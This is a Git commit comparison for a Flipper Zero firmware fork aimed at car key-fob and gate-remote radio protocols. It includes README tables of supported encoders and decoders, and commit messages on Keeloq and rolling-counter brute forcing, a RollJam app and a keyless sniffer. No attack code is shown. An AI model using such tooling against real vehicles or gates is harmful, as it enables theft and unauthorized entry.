Compare commits

..

103 Commits

Author SHA1 Message Date
d4rks1d33 ad4c171054 A lot of changes
Build Dev Firmware / build (push) Failing after 14m40s
2026-06-02 23:32:16 -03:00
d4rks1d33 048fcc39e4 Fixes. Now yes I go to sleep xD
Build Dev Firmware / build (push) Successful in 3m29s
2026-06-01 01:22:49 -03:00
d4rks1d33 f5c211041b Fixes and updates, thanks to Zero-Mega. ProtoPirate is now an external app for those who prefer to use it. Now I need to sleep xD 2026-06-01 01:19:02 -03:00
d4rks1d33 589a2e36f2 Fixes and updates, thanks to Zero-Mega. ProtoPirate is now an external app for those who prefer to use it. Now I need to sleep xD
Build Dev Firmware / build (push) Failing after 14m47s
2026-06-01 01:09:08 -03:00
d4rks1d33 161e26f2dc Fixes and updates, thanks to Zero-Mega. ProtoPirate is now an external app for those who prefer to use it. Now I need to sleep xD 2026-06-01 01:08:30 -03:00
d4rks1d33 bf9ca01621 small fixes
Build Dev Firmware / build (push) Successful in 2m14s
2026-05-24 21:58:43 -03:00
d4rks1d33 86f5aae002 Remove spanish comments
Build Dev Firmware / build (push) Failing after 14m41s
2026-05-18 22:54:40 -03:00
d4rks1d33 46f3a5c993 More updates :D 2026-05-18 22:53:07 -03:00
D4rk$1d3 52015fb289 Update README
Build Dev Firmware / build (push) Failing after 16s
Added images for Custom Emulation Settings and Scene.
2026-05-18 20:52:27 -03:00
D4rk$1d3 23ba62cd69 Add files via upload 2026-05-18 20:49:21 -03:00
d4rks1d33 cd1e9d6945 Stupid chatGPT that add utm_source=chatgpt.com on links
Build Dev Firmware / build (push) Failing after 18s
2026-05-18 20:39:55 -03:00
d4rks1d33 c49b843096 Stupid chatGPT that add utm_source=chatgpt.com on links 2026-05-18 20:37:13 -03:00
d4rks1d33 0c35337bb7 Some updates 2026-05-18 20:33:56 -03:00
d4rks1d33 e419b9865a Rollback
Build Dev Firmware / build (push) Failing after 16s
2026-05-08 16:21:24 +00:00
D4rk$1d3 a89cb55529 Update README.md
Build Dev Firmware / build (push) Successful in 7m23s
Updated the Special Thanks section to include a table format with contributor images and a message of appreciation.
2026-05-06 21:46:57 -03:00
D4rk$1d3 efa653c7cf Update contributors section in README.md
Build Dev Firmware / build (push) Successful in 7m9s
2026-05-05 00:54:31 -03:00
D4rk$1d3 07957617e5 Update README.md
Build Dev Firmware / build (push) Successful in 6m57s
2026-05-04 23:40:47 -03:00
d4rks1d33 903104239b fixes
Build Dev Firmware / build (push) Successful in 6m41s
2026-05-04 22:52:37 -03:00
d4rks1d33 291c5320bb restore protocol_items after rebase
Build Dev Firmware / build (push) Failing after 14m51s
2026-05-04 22:22:55 -03:00
d4rks1d33 edbc2f291e more protocols 2026-05-04 22:19:08 -03:00
D4rk$1d3 c32ee61a4f Update README.md
Build Dev Firmware / build (push) Successful in 6m38s
2026-04-27 00:31:07 -03:00
D4rk$1d3 0995609391 Update README.md, added thanks 2026-04-27 00:29:16 -03:00
d4rks1d33 29fef56be1 Added Ford V1, Kia V7 and Honda Static, thanks RalphWiggum!
Build Dev Firmware / build (push) Successful in 7m1s
2026-04-26 22:09:52 -03:00
Andrea Santaniello 6a348dd304 Revert "some updates"
Build Dev Firmware / build (push) Successful in 7m0s
This reverts commit a55189e2a4.
2026-04-17 18:10:10 +02:00
Andrea Santaniello 32a96e580d Update psa.c
Build Dev Firmware / build (push) Successful in 7m5s
2026-04-17 17:34:55 +02:00
Andrea Santaniello 54f03a39c2 Update psa.c
Build Dev Firmware / build (push) Successful in 7m3s
2026-04-17 16:36:37 +02:00
d4rks1d33 a55189e2a4 some updates
Build Dev Firmware / build (push) Successful in 7m9s
2026-04-16 20:02:54 -03:00
Andrea Santaniello 14d10c0794 Merge branch 'main' of https://github.com/D4C1-Labs/Flipper-ARF
Build Dev Firmware / build (push) Successful in 6m42s
2026-04-07 13:22:35 +02:00
Andrea Santaniello 27818ccb1f Re-enabling GangQi / Disabling Honda until fix. 2026-04-07 13:22:32 +02:00
d4rks1d33 0ebf26eff4 Update Honda, should be less false positives
Build Dev Firmware / build (push) Successful in 6m32s
2026-04-05 20:12:04 -03:00
Andrea Santaniello ac620e2b0e Fix rolling increment on upload
Build Dev Firmware / build (push) Successful in 6m30s
2026-04-05 18:42:44 +02:00
Andrea Santaniello 46115cdf6c Updated Readme and set flag for 315Mhz 2026-04-05 18:40:05 +02:00
Andrea Santaniello f465c6edbb Update chrysler.c
Build Dev Firmware / build (push) Successful in 6m54s
2026-04-05 17:00:19 +02:00
Andrea Santaniello ad795ae7ef Update chrysler.c
Build Dev Firmware / build (push) Failing after 1m49s
2026-04-05 16:37:42 +02:00
Andrea Santaniello efff8d2f2e Chrysler FOBIK decoder test
Build Dev Firmware / build (push) Failing after 1m55s
2026-04-05 15:01:18 +02:00
d4rks1d33 c9c9c74117 Add Honda protocol
Build Dev Firmware / build (push) Successful in 6m48s
2026-04-01 22:02:49 -03:00
Andrea Santaniello dc0f30dad9 Update psa.c
Build Dev Firmware / build (push) Failing after 6m54s
2026-03-29 14:34:00 +02:00
Andrea 38f261e23b Revert "Make psa more strict to avoid false positives"
Build Dev Firmware / build (push) Successful in 6m43s
This reverts commit cb1daaa4f1.
2026-03-28 21:44:11 +01:00
Andrea Santaniello cb1daaa4f1 Make psa more strict to avoid false positives
Build Dev Firmware / build (push) Successful in 7m8s
2026-03-28 18:31:50 +01:00
Andrea Santaniello b318b3e9ff CRC check for marelli 2026-03-28 18:24:02 +01:00
D4rk$1d3 117381e5a1 Update README.md
Build Dev Firmware / build (push) Successful in 7m2s
2026-03-25 14:28:18 -03:00
d4rks1d33 702cf5abc8 Update API, Multipage handling for all starline and scherkhan buttons (Still WIP), add ChiefCooker/CanCommander and CanTool as external apps
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-24 21:58:41 -03:00
Andrea 17011180d1 Merge pull request #4 from LTX128/main
Build Dev Firmware / build (push) Successful in 6m31s
Add Device Name changer in System Settings
2026-03-24 21:46:42 +01:00
Andrea Santaniello d85657b6b3 Update README.md 2026-03-24 20:57:49 +01:00
Andrea Santaniello 2fd01bb911 Scher Khan PRO/PRO2 and Sheriff CFM 2026-03-24 20:50:48 +01:00
d4rks1d33 d23a892a16 Small changes
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-24 13:39:45 -03:00
d4rks1d33 16d06d75fe Fix Starline d-pad mapping
Build Dev Firmware / build (push) Successful in 10m44s
2026-03-23 21:35:59 -03:00
d4rks1d33 937a2204c1 Scher-Khan small fixes
Build Dev Firmware / build (push) Successful in 6m48s
2026-03-23 20:32:24 -03:00
LTX74 aaf16ec0de add Device Name changer in System Settings 2026-03-22 23:20:34 +01:00
LTX74 cdd7c56b69 increase stack to 2K and add storage dependency 2026-03-22 23:18:16 +01:00
LTX74 0fd985c67a increase stack to 2K and add storage dependency 2026-03-22 23:17:48 +01:00
LTX74 e93606aa87 add TextInput and Storage to SystemSettings struct 2026-03-22 23:15:29 +01:00
LTX74 3933a77b72 Update system_settings.h 2026-03-22 23:14:57 +01:00
grugnoymeme ab665809ce fixed and finished ford
Build Dev Firmware / build (push) Successful in 6m29s
2026-03-22 19:40:56 +01:00
Andrea Santaniello 56c5670956 Revert "Added Term of Services & Easter egg"
Build Dev Firmware / build (push) Successful in 6m28s
This reverts commit a5cf675561.
2026-03-22 13:23:11 +01:00
d4rks1d33 a5cf675561 Added Term of Services & Easter egg
Build Dev Firmware / build (push) Successful in 6m17s
2026-03-21 23:37:21 -03:00
D4rk$1d3 c6bec5ef4f Merge pull request #3 from LeeroysHub/main
Build Dev Firmware / build (push) Successful in 6m25s
2026-03-21 23:02:27 -03:00
Leeroy 883d387246 Change BS to Checksum in Ford_V0 2026-03-22 08:49:31 +11:00
Leeroy 951f35c356 Remove unneeded BSMagic from Ford V0, we have proper BS calc now. 2026-03-22 07:29:32 +11:00
d4rks1d33 4e05a0e631 Fixed Ford V0, added Starline (tested) & added ScherKhan (untested)
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-21 15:24:53 -03:00
d4rks1d33 17d497e21e Fix RollJam app
Build Dev Firmware / build (push) Successful in 6m26s
2026-03-20 22:56:59 -03:00
47LeCoste d5b46ffefb Update .gitignore
Build Dev Firmware / build (push) Successful in 6m33s
2026-03-20 15:53:17 +00:00
D4rk$1d3 9d2298114c Update application.fam
Build Dev Firmware / build (push) Successful in 6m32s
2026-03-18 19:18:49 -03:00
D4rk$1d3 b93a970647 Delete applications/main/KeylessGoSniffer directory 2026-03-18 19:17:43 -03:00
47LeCoste c6265ea29b Delete CHANGELOG.md
Build Dev Firmware / build (push) Successful in 10m8s
2026-03-18 19:41:47 +00:00
47LeCoste 8e0a81b89d Update fiat_marelli.h 2026-03-18 19:40:46 +00:00
grugnoymeme 6f39fd4803 removed problematics and fixed f3
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-18 19:45:16 +01:00
grugnoymeme 41d10f9b3d Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-18 19:26:36 +01:00
grugnoymeme 1f97aa2e3c reduced datarate for F3, renamed 1,2,A1,F1,F3, introduced AU_1,RF_1 for test 2026-03-18 19:26:21 +01:00
D4rk$1d3 5b9038173b Update README.md 2026-03-18 15:04:38 -03:00
grugnoymeme fde0a57595 forgtten to close a }
Build Dev Firmware / build (push) Successful in 6m30s
2026-03-18 16:23:59 +01:00
MX 3fb40944e6 NFC: Add Mifare Ultralight C Write Support
by haw8411
2026-03-18 16:16:04 +01:00
grugnoymeme e61cfa765a bft force seed value @MMX 2026-03-18 16:07:20 +01:00
grugnoymeme fd0dd6c324 subghz fix very big issue with tx on read screen @MMX 2026-03-18 16:04:22 +01:00
grugnoymeme 8ff5e3c311 hide arf_pictures folder, and updated readme images 2026-03-18 15:58:12 +01:00
grugnoymeme 4974201851 Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-18 15:55:47 +01:00
grugnoymeme b0b464e3fb removed unused documentation, and changed the owner of the repo 2026-03-18 15:55:39 +01:00
47LeCoste 57226fc902 Update README.md 2026-03-18 14:52:24 +00:00
grugnoymeme cb9aee6422 Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-18 15:47:56 +01:00
grugnoymeme b720fac88a add keyfinder 24b protocol, removed AGAIN keys.c/.h PAY ATTENTION WHEN MERGE XD, setup reserch setting_user file 2026-03-18 15:47:43 +01:00
Andrea Santaniello 22daa7cfc3 Correct bit order 2026-03-18 15:36:32 +01:00
grugnoymeme 1c9fddf076 Merge remote-tracking branch 'refs/remotes/origin/main'
Build Dev Firmware / build (push) Successful in 6m33s
2026-03-18 15:16:47 +01:00
grugnoymeme 4380d9f156 small fmt 2026-03-18 15:16:21 +01:00
d4rks1d33 a4da50c191 Update home screenshot
Build Dev Firmware / build (push) Successful in 6m29s
2026-03-17 21:35:40 -03:00
d4rks1d33 e881d69ab3 Added passive Keyless sniffer for future analysis of keyless entry systems
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-17 21:22:30 -03:00
grugnoymeme b041177398 fixing problem of exit confirm not working when entering subghz app with right arrow ALREADY WIP
Build Dev Firmware / build (push) Successful in 6m35s
2026-03-17 22:18:26 +01:00
grugnoymeme f347d5a976 better display of datas after decrypt for PSA
Build Dev Firmware / build (push) Successful in 6m54s
2026-03-17 21:08:18 +01:00
grugnoymeme 3a6da87288 hide Emulate choice in subghz saved menu for psa encrypted sub files bc useless, and moved PSA decrypt first
Build Dev Firmware / build (push) Successful in 6m41s
2026-03-17 20:17:21 +01:00
grugnoymeme 5d94639d81 Merge remote-tracking branch 'refs/remotes/origin/main' 2026-03-17 20:12:54 +01:00
grugnoymeme 5dcfc48e10 restored holtekS protocols bc super commons, fixed fiat spa, scheduled tea iterations for faster bf1 in psa, fixed progress bar's issue on 1 percent in psa decrypt, fmt protocol items 2026-03-17 20:07:07 +01:00
Andrea Santaniello 20a95b2fec Apprently using the bt thread to save the keys causes a crash due to the low memory
Build Dev Firmware / build (push) Successful in 6m40s
2026-03-17 17:24:03 +01:00
Andrea Santaniello 3605669cc5 Fixing crash on finding first good candidate
Build Dev Firmware / build (push) Successful in 6m38s
2026-03-17 15:28:16 +01:00
Andrea Santaniello fb1c28a0dd Update subghz_scene_kl_bf_cleanup.c
Build Dev Firmware / build (push) Successful in 6m42s
2026-03-17 14:23:56 +01:00
Andrea Santaniello 64a971e806 Keeloq Bruteforcer updates
Build Dev Firmware / build (push) Failing after 2m37s
2026-03-17 14:01:27 +01:00
d4rks1d33 12db96a8ab Fix counter brute force, open window to 500ms per transmission making more stable
Build Dev Firmware / build (push) Successful in 6m34s
2026-03-16 21:41:33 -03:00
d4rks1d33 4b50b8b70c Fix warning UI
Build Dev Firmware / build (push) Successful in 6m35s
2026-03-16 20:09:04 -03:00
d4rks1d33 0f24f8c105 Added warning on counter bruteforce 2026-03-16 19:45:54 -03:00
Andrea Santaniello 238f39d0d8 Fixes 2026-03-16 23:39:22 +01:00
Andrea Santaniello 4c3581735b Better handling of the keeloq bf
Build Dev Firmware / build (push) Successful in 6m23s
2026-03-16 22:31:16 +01:00
Andrea Santaniello 689df5262d Compiler bitch fix
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-16 17:57:09 +01:00
Andrea Santaniello 86c740d923 Preliminary stuff for phone accellerate Keeloq bruteforce
Build Dev Firmware / build (push) Failing after 2m35s
2026-03-16 16:55:25 +01:00
Andrea Santaniello 0aef017c15 New assets by GONZOsint (https://github.com/GONZOsint)
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-16 13:57:23 +01:00
grugnoymeme cea3bc3b6a fmt fiat marelli displayed datas and removed duplicates variant declaration in feed
Build Dev Firmware / build (push) Successful in 6m25s
2026-03-16 05:58:05 +01:00
14662 changed files with 3088058 additions and 13636 deletions

Before

Width:  |  Height:  |  Size: 1.9 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.4 KiB

Before

Width:  |  Height:  |  Size: 1.9 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

Before

Width:  |  Height:  |  Size: 1.8 KiB

After

Width:  |  Height:  |  Size: 1.8 KiB

Before

Width:  |  Height:  |  Size: 2.1 KiB

After

Width:  |  Height:  |  Size: 2.1 KiB

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Before

Width:  |  Height:  |  Size: 1.9 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

+1 -4
View File
@@ -1,5 +1,2 @@
# Default
* @xMasterX
# Assets
/assets/resources/infrared/assets/ @amec0e @Leptopt1los @xMasterX
* ARF Crew
+9 -1
View File
@@ -81,4 +81,12 @@ node_modules/
#companion app
/companion
/Flipper-Android-App
/Flipper-Android-App
#WIP not ready to push protocols
lib/subghz/protocols/subghz_protocol_honda_pandora.c
lib/subghz/protocols/honda_rolling.c
lib/subghz/protocols/honda_rolling.h
lib/subghz/protocols/honda_pandora.c
lib/subghz/protocols/honda_pandora.h
+16 -63
View File
@@ -1,66 +1,19 @@
## Main changes
- Current API: 87.6
* SubGHz: Signal Settings Improvements (PR #968 | by @Dmitry422)
* Apps: Build tag (**17feb2026**) - **Check out more Apps updates and fixes by following** [this link](https://github.com/xMasterX/all-the-plugins/commits/dev)
## Other changes
* MFKey: Update to v4.1 (by @noproto & @dchristle)
<br><br>
#### Known NFC post-refactor regressions list:
- Mifare Mini clones reading is broken (original mini working fine) (OFW)
- While reading some EMV capable cards via NFC->Read flipper may crash due to Desfire poller issue, read those cards via Extra actions->Read specific card type->EMV
----
[-> How to install firmware](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)
[-> Unleashed FW Web Installer](https://web.unleashedflip.com)
## Please support development of the project
| Service | Remark | QR Code | Link/Wallet |
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------|
| <img src="https://cdn.simpleicons.org/patreon/dark/white" alt="Patreon" width="14"/> **Patreon** | | <div align="center"><a href="https://github.com/user-attachments/assets/a88a90a5-28c3-40b4-864a-0c0b79494a42"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [patreon.com/mmxdev](https://patreon.com/mmxdev) |
| <img src="https://cdn.simpleicons.org/boosty" alt="Boosty" width="14"/> **Boosty** | patreon alternative | <div align="center"><a href="https://github.com/user-attachments/assets/893c0760-f738-42c1-acaa-916019a7bdf8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [boosty.to/mmxdev](https://boosty.to/mmxdev) |
| <img src="https://gist.githubusercontent.com/m-xim/255a3ef36c886dec144a58864608084c/raw/71da807b4abbd1582e511c9ea30fad27f78d642a/cloudtips_icon.svg" alt="Cloudtips" width="14"/> CloudTips | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/5de31d6a-ef24-4d30-bd8e-c06af815332a"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [pay.cloudtips.ru/p/7b3e9d65](https://pay.cloudtips.ru/p/7b3e9d65) |
| <img src="https://raw.githubusercontent.com/gist/PonomareVlad/55c8708f11702b4df629ae61129a9895/raw/1657350724dab66f2ad68ea034c480a2df2a1dfd/YooMoney.svg" alt="YooMoney" width="14"/> YooMoney | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/33454f79-074b-4349-b453-f94fdadc3c68"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [yoomoney.ru/fundraise/XA49mgQLPA0.221209](https://yoomoney.ru/fundraise/XA49mgQLPA0.221209) |
| <img src="https://cdn.simpleicons.org/tether" alt="USDT" width="14"/> USDT | TRC20 | <div align="center"><a href="https://github.com/user-attachments/assets/0500498d-18ed-412d-a1a4-8a66d0b6f057"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `TSXcitMSnWXUFqiUfEXrTVpVewXy2cYhrs` |
| <img src="https://cdn.simpleicons.org/ethereum" alt="ETH" width="14"/> ETH | BSC/ERC20-Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/0f323e98-c524-4f41-abb2-f4f1cec83ab6"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` |
| <img src="https://cdn.simpleicons.org/bitcoin" alt="BTC" width="14"/> BTC | | <div align="center"><a href="https://github.com/user-attachments/assets/5a904d45-947e-4b92-9f0f-7fbaaa7b37f8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9` |
| <img src="https://cdn.simpleicons.org/solana" alt="SOL" width="13"/> SOL | Solana/Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/ab33c5e0-dd59-497b-9c91-ceb89c36b34d"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `DSgwouAEgu8iP5yr7EHHDqMNYWZxAqXWsTEeqCAXGLj8` |
| <img src="https://cdn.simpleicons.org/dogecoin" alt="DOGE" width="14"/> DOGE | | <div align="center"><a href="https://github.com/user-attachments/assets/2937edd0-5c85-4465-a444-14d4edb481c0"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` |
| <img src="https://cdn.simpleicons.org/litecoin" alt="LTC" width="14"/> LTC | | <div align="center"><a href="https://github.com/user-attachments/assets/441985fe-f028-4400-83c1-c215760c1e74"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` |
| <img src="https://bitcoincash.org/img/green/bitcoin-cash-circle.svg" alt="BCH" width="14"/> BCH | | <div align="center"><a href="https://github.com/user-attachments/assets/7f365976-19a3-4777-b17e-4bfba5f69eff"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `qquxfyzntuqufy2dx0hrfr4sndp0tucvky4sw8qyu3` |
| <img src="https://cdn.simpleicons.org/monero" alt="XMR" width="14"/> XMR | Monero | <div align="center"><a href="https://github.com/user-attachments/assets/96186c06-61e7-4b4d-b716-6eaf1779bfd8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `41xUz92suUu1u5Mu4qkrcs52gtfpu9rnZRdBpCJ244KRHf6xXSvVFevdf2cnjS7RAeYr5hn9MsEfxKoFDRSctFjG5fv1Mhn` |
| <img src="https://cdn.simpleicons.org/ton" alt="TON" width="14"/> TON | | <div align="center"><a href="https://github.com/user-attachments/assets/92a57e57-7462-42b7-a342-6f22c6e600c1"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `UQCOqcnYkvzOZUV_9bPE_8oTbOrOF03MnF-VcJyjisTZmsxa` |
#### Thanks to our sponsors who supported project in the past and special thanks to sponsors who supports us on regular basis:
@mishamyte, ClaraCrazy, Pathfinder [Count Zero cDc], callmezimbra, Quen0n, MERRON, grvpvl (lvpvrg), art_col, ThurstonWaffles, Moneron, UterGrooll, LUCFER, Northpirate, zloepuzo, T.Rat, Alexey B., ionelife, ...
and all other great people who supported our project and me (xMasterX), thanks to you all!
## **Recommended update option - Web Updater**
### What `e`, ` `, `c` means? What I need to download if I don't want to use Web updater?
What build I should download and what this name means - `flipper-z-f7-update-(version)(e / c).tgz` ? <br>
`flipper-z` = for Flipper Zero device<br>
`f7` = Hardware version - same for all flipper zero devices<br>
`update` = Update package, contains updater, all assets (plugins, IR libs, etc.), and firmware itself<br>
`(version)` = Firmware version<br>
| Designation | [Base Apps](https://github.com/xMasterX/all-the-plugins#default-pack) | [Extra Apps](https://github.com/xMasterX/all-the-plugins#extra-pack) |
|-----|:---:|:---:|
| ` ` | ✅ | |
| `c` | | |
| `e` | ✅ | ✅ |
**To enable RGB Backlight support go into LCD & Notifications settings**
⚠️RGB backlight [hardware mod](https://github.com/quen0n/flipperzero-firmware-rgb#readme), works only on modded flippers! do not enable on non modded device!
Firmware Self-update package (update from microSD) - `flipper-z-f7-update-(version).tgz` for mobile app / qFlipper / web<br>
Archive of `scripts` folder (contains scripts for FW/plugins development) - `flipper-z-any-scripts-(version).tgz`<br>
SDK files for plugins development and uFBT - `flipper-z-f7-sdk-(version).zip`
# Changelog
---
### Added
- Protocol name allowlist filter: in Receiver Config, a new "Proto Filter"
field accepts a comma-separated list of protocol names (e.g. "Ford V2,VAG").
When set, the receiver ignores all decoded signals that are not in the list,
reducing RAM usage and increasing the chance of capturing the target protocol.
Leave empty to disable (default behavior, all protocols accepted).
Setting is persisted in last_subghz.settings under the ProtocolFilter key.
### Changed
- Protocol Filter: replaced free-text input with a dedicated protocol list
scene (Proto Filter in Receiver Config). All registered protocols are shown
as toggleable items (--- / ONLY). Selecting one or more protocols restricts
the receiver to only show those; leaving all as --- disables the filter.
The active count is shown inline in Receiver Config ("N set" or "All").
Filter is persisted across sessions and cleared by Reset to default.
+70 -19
View File
@@ -22,6 +22,7 @@ This project may incorporate, adapt, or build upon **other open-source projects*
- [Contribution Policy](#contribution-policy)
- [Citations & References](#citations--references)
- [Disclaimer](#disclaimer)
- [Special Thanks](#special-thanks-to-everyone-who-contributes-to-this-project)
---
@@ -29,12 +30,14 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| | |
|:---:|:---:|
| ![Home](arf_pictures/home.png) | ![Sub-GHz Scanner](arf_pictures/subghz_scan.png) |
| ![Home](.arf_pictures/home.png) | ![Sub-GHz Scanner](.arf_pictures/subghz_scan.png) |
| Home Screen | Sub-GHz Scanner |
| ![Keeloq Key Manager](arf_pictures/keeloq_key_manager.png) | ![Mod Hopping](arf_pictures/mod_hopping.png) |
| ![Keeloq Key Manager](.arf_pictures/keeloq_key_manager.png) | ![Mod Hopping](.arf_pictures/mod_hopping.png) |
| Keeloq Key Manager | Mod Hopping Config |
| ![PSA Decrypt](arf_pictures/psa_decrypt_builtin.png) | ![Counter BruteForce](arf_pictures/counter_bruteforce.png) |
| ![PSA Decrypt](.arf_pictures/psa_decrypt_builtin.png) | ![Counter BruteForce](.arf_pictures/counter_bruteforce.png) |
| PSA XTEA Decrypt | Counter BruteForce |
| ![Custom Emulation Settings](.arf_pictures/custom_emulation_settings.png) | ![Custom Emulation Scene](.arf_pictures/custom_emulation_scene.png) |
| Custom Emulation Settings | Custom Emulation Scene |
---
@@ -45,21 +48,31 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---|:---:|:---:|:---:|:---:|:---:|
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes | No |
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes | No |
| Porsche | Porsche AG | 433/868 MHz | AM | Yes | Yes | No |
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
| Ford | Ford V1 | 315/433 MHz | FM | Yes | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat Marelli/Delphi | 433 MHz | AM | No | Yes | No |
| Fiat | Marelli/Delphi | 433 MHz | AM | No | Yes | Yes |
| Renault (old models) | Marelli | 433 MHz | AM | No | Yes | No|
| Mazda | Siemens (5WK49365D) | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V0 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V1 | 315/433 MHz | AM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V2 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V5 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA/HYU V6 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | KIA V7 | 433 MHz | FM | Yes | Yes | Yes |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes | Yes |
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
| Honda | Honda Type A/B | 433 MHz | FM (custom) | Yes | Yes | No |
| Starline | Star Line | 433 MHz | AM | Yes | Yes | No |
| Scher-Khan | Scher-Khan | 433 MHz | FM | Yes | Yes | No |
| Scher-Khan | Magic Code PRO1/PRO2 | 433 MHz | FM | Yes | Yes | Yes |
| Sheriff | Sheriff CFM (ZX-750/930) | 433 MHz | AM | Yes | Yes | No |
| Chrysler/Dodge/Jeep | FOBIK GQ43VT | 315/433 MHz | AM | Yes | Yes | No |
| Honda | Honda Static | 433 MHz | AM | Yes | Yes | No |
### Gate / Access Protocols
@@ -72,16 +85,19 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| CAME TWEE | 433 MHz | AM | Yes | Yes | No |
| CAME Atomo | 433 MHz | AM | Yes | Yes | No |
| Faac SLH | 433/868 MHz | AM | Yes | Yes | No |
| Holtek | 433 MHz | AM | Yes | Yes | No |
| Holtek-Ht12x | 433 MHz | AM | Yes | Yes | No |
| Somfy Telis | 433 MHz | AM | Yes | Yes | Yes |
| Somfy Keytis | 433 MHz | AM | Yes | Yes | Yes |
| Alutech AT-4N | 433 MHz | AM | Yes | Yes | Yes |
| Keyfinder | 433 MHz | AM | Yes | Yes | No |
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes | No |
| Beninca ARC | 433 MHz | AM | Yes | Yes | No |
| Hormann HSM | 433/868 MHz | AM | Yes | Yes | No |
| Marantec | 433 MHz | AM | Yes | Yes | Yes |
| Marantec24 | 433 MHz | AM | Yes | Yes | Yes |
### General Static Protocols
### General Protocols
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---:|:---:|:---:|:---:|:---:|
@@ -101,8 +117,6 @@ This project may incorporate, adapt, or build upon **other open-source projects*
| Hay21 | 433 MHz | AM | Yes | Yes | No |
| Revers RB2 | 433 MHz | AM | Yes | Yes | No |
| Roger | 433 MHz | AM | Yes | Yes | No |
